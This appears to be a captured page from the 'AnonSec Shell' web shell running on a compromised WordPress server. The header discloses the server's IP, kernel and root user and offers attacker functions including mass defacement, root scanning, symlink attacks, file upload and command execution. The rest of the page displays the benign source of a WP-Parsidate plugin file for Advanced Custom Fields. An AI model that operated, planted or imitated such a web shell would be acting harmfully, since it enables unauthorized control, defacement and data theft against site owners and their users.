AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.137.185.59   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/chroot/var/www/wp-content/plugins/wp-parsidate/includes/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/chroot/var/www/wp-content/plugins/wp-parsidate/includes/plugins/acf.php
<?php

defined( 'ABSPATH' ) or exit( 'No direct script access allowed' );

/**
 * Makes ACF compatible with WP-Parsidate plugin
 *
 * @package                 WP-Parsidate
 * @subpackage              Plugins/ACF
 * @since                   4.0.0
 */
class WPP_ACF {
	public static $instance = null;
	var $settings;

	/**
	 * Hooks required tags
	 */
	private function __construct() {
		$this->settings = array(
			'version'	=> '1.0.0',
			'url'		=> WP_PARSI_URL . 'includes/plugins/',
			'path'		=> WP_PARSI_DIR . 'includes/plugins/'
		);

		add_filter( 'wpp_plugins_compatibility_settings', array( $this, 'add_settings' ) );
		add_action( 'acf/include_field_types', array( $this, 'wpp_acf_include_field' ) ); // v5
		add_action( 'acf/register_fields', array( $this, 'wpp_acf_include_field' ) ); // v4
	}

	/**
	 * Returns an instance of class
	 *
	 * @return          WPP_ACF
	 * @since           4.0.0
	 */
	public static function getInstance() {
		if ( self::$instance == null ) {
			self::$instance = new WPP_ACF();
		}

		return self::$instance;
	}

	/**
	 *  This function will include the field type class
	 *
	 * @param               $version (int) major ACF version. Defaults to false
	 *
	 * @return              void
	 * @since               4.0.0
	 */
	public function wpp_acf_include_field( $version = false ) {
		$version = $version ? (float)$version : 4;

		include_once( 'acf-fields/class-wpp-acf-datepicker-v' . (float) $version . '.php' );
		include_once( 'acf-fields/class-wpp-acf-timepicker-v' . (float) $version . '.php' );
	}

	/**
	 * Adds settings for toggle fixing
	 *
	 * @param           array $old_settings Old settings
	 *
	 * @return          array New settings
	 */
	public function add_settings( $old_settings ) {
		$settings = array(
			'acf'          => array(
				'id'   => 'acf',
				'name' => __( 'Advanced Custom Fields (ACF)', 'wp-parsidate' ),
				'type' => 'header'
			),
			'acf_persian_date' => array(
				'id'      => 'acf_persian_date',
				'name'    => __( 'Save dates in Jalali format (Not recommended)', 'wp-parsidate' ),
				'type'    => 'checkbox',
				'options' => 1,
				'std'     => 0
			)
		);

		return array_merge( $old_settings, $settings );
	}
}

return WPP_ACF::getInstance();

Anon7 - 2022
AnonSec Team